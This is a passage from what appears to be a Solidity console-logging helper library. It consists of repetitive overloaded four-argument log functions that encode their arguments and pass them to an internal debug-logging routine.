function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
